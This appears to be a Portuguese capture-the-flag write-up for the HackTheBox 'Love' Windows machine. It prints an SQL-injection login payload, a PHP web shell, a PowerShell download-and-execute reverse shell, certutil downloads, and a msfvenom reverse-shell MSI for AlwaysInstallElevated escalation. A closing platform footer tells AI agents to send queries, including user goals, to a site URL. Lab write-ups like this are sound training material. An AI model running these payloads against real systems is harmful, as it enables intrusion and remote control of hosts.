> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md). # Writeup do HackTheBox Love Writeup da máquina Easy Windows Love do HackTheBox cobrindo injeção SQL (SQLI), Server Side Request Forgery (SSRF), abuso de upload de arquivo, exploração do sistema de votação, com enumeração prática, exploração, f {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Injeção SQL (SQLI) * Falsificação de Solicitação do Lado do Servidor (SSRF) * Abuso de Upload de Arquivos * Explorando o Sistema de Votação * Abusando de AlwaysInstallElevated (arquivo msiexec/msi) {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

**Descoberta de Portas Abertas com Nmap:** Explorando portas abertas e exportando no arquivo "allPorts" no diretório do Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.239 -oG allPorts ```

**Análise das portas abertas com extractport:** Uso da função extractport para exibir portas abertas de forma concisa e copiá-las para a área de transferência.

**Varredura de versão das portas com o Nmap:** Usando o Nmap para escanear a versão das portas e extrair informações no arquivo "targeted": ```bash nmap -sCV -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 10.10.10.239 -oN targeted ```

Para resolver nomes de domínio em endereços IP via DNS, o nome de domínio associado ao seu endereço IP é inserido no `/etc/hosts` arquivo

**Pesquisar diretórios:** Usamos o Gobuster para pesquisar diretórios no site: ```bash gobuster dir -u http://love.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ```

No `admin` diretório, descobrimos um painel de gerenciamento.

## Exploração do Sistema de Votação: Neste caso, há duas maneiras de operar o painel de gerenciamento do Sistema de Votação: ### 1. Vulnerabilidade SSRF: A porta 443 revela um `staging.love.htb` subdomínio que adicionamos ao nosso `/etc/hosts` arquivo.

Este site pode escanear sites por meio de uma URL.

Ao escanear `localhost:5000` (não acessível de fora), descobrimos credenciais: `admin: @LoveIsInTheAir!!!!`

Observação: externamente, a mensagem " You don't have permission to access this resource." é exibida, bloqueando o acesso.

### **2. Vulnerabilidade de Injeção SQL (**[**SQLi**](/pt-br/web/sql-injection.md)**) :** Com `searchsploit` procuramos vulnerabilidades específicas do Sistema de Votação e encontramos o seguinte payload:

`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -` Usando o Burp Suite, acessamos o painel.

## Vulnerabilidade de Upload de Arquivos: Uma vez no painel, uma opção permite criar um novo usuário. Criamos um `cmd.php` arquivo para executar comandos no servidor:

```bash " . shell_exec($_REQUEST['cmd']) . ""; ?> ```

O painel não aplica nenhuma verificação de segurança, permitindo injetar comandos (por exemplo, `whoami`). Ao testar um comando ping, verificamos a conexão:

verificaremos se ele consegue executar um ping

ping 10.10.14.10
tcpdump -i tun0 icmp

Como recebemos a resposta, confirmamos a possibilidade de executar comandos na máquina alvo

**Comando PowerShell para shell reversa** Assim que virmos que podemos executar comandos, baixaremos o `PS.ps1` script para nossa máquina. {% embed url="" %} No final do script, adicionamos a seguinte linha: ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444 ```

Vamos criar um servidor web com o `PS.ps1` script ```bash python3 -m http.server 80 ``` Em seguida, vamos modificar o comando para apontar para o nosso servidor web: {% code overflow="wrap" %} ```bash powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')" ``` {% endcode %} Por fim, ouvimos a porta 4444: ```bash rlwrap nc -nlvp 4444 ```

### Flag user.txt:

## Escalada de privilégios: ### **Enumeração com winPEASx64.exe** Para realizar a escalada de privilégios em um servidor Windows, primeiro execute a `winPEAS` ferramenta de reconhecimento. {% embed url="" %} Baixando a ferramenta de reconhecimento WIN-peacex64.exe. ```purebasic certutil.exe -f -urlcache -split http://10.10.14.10/winPEASx64.exe winPeas.exe ```

```powershell ./winPEAS.exe ```

### Verificando AlwaysInstallElevated O `winPEAS` A ferramenta verifica várias configurações de segurança do sistema. Estamos particularmente interessados na `AlwaysInstallElevated` chave de registro. Se essa chave estiver definida como `1` em `HKLM` (HKEY\_LOCAL\_MACHINE), isso indica que todos os `.msi` arquivos podem ser instalados com privilégios elevados, o que é uma vulnerabilidade.

{% embed url="" %} **Crie um arquivo .msi para obter uma shell reversa** Para aproveitar essa vulnerabilidade, criaremos um `.msi` arquivo que, uma vez executado, nos fornecerá uma shell reversa. Usamos `msfvenom` para gerar esse arquivo: ```bash msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 --platform windows -a x64 -f msi -o reverse.msi ``` **Transferência do arquivo .msi**/ arquivo Depois de criar o arquivo, devemos transferi-lo para a máquina alvo: ```bash certutil.exe -f -urlcache -split http://10.10.14.10/reverse.msi reverse.msi ```

**Escute a porta 443**/ Antes de executar o `.msi` arquivo, precisamos escutar a porta que especificamos. Vamos usar `nc` (netcat) para isso: ```powershell rlwrap nc -nlvp 443 ``` **Execução do comando de instalação**/ Por fim, executamos o `.msi` arquivo usando `msiexec`, o que aciona a instalação silenciosa: ```powershell msiexec /quiet /qn /i reverse.msi ```

### Flag root :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.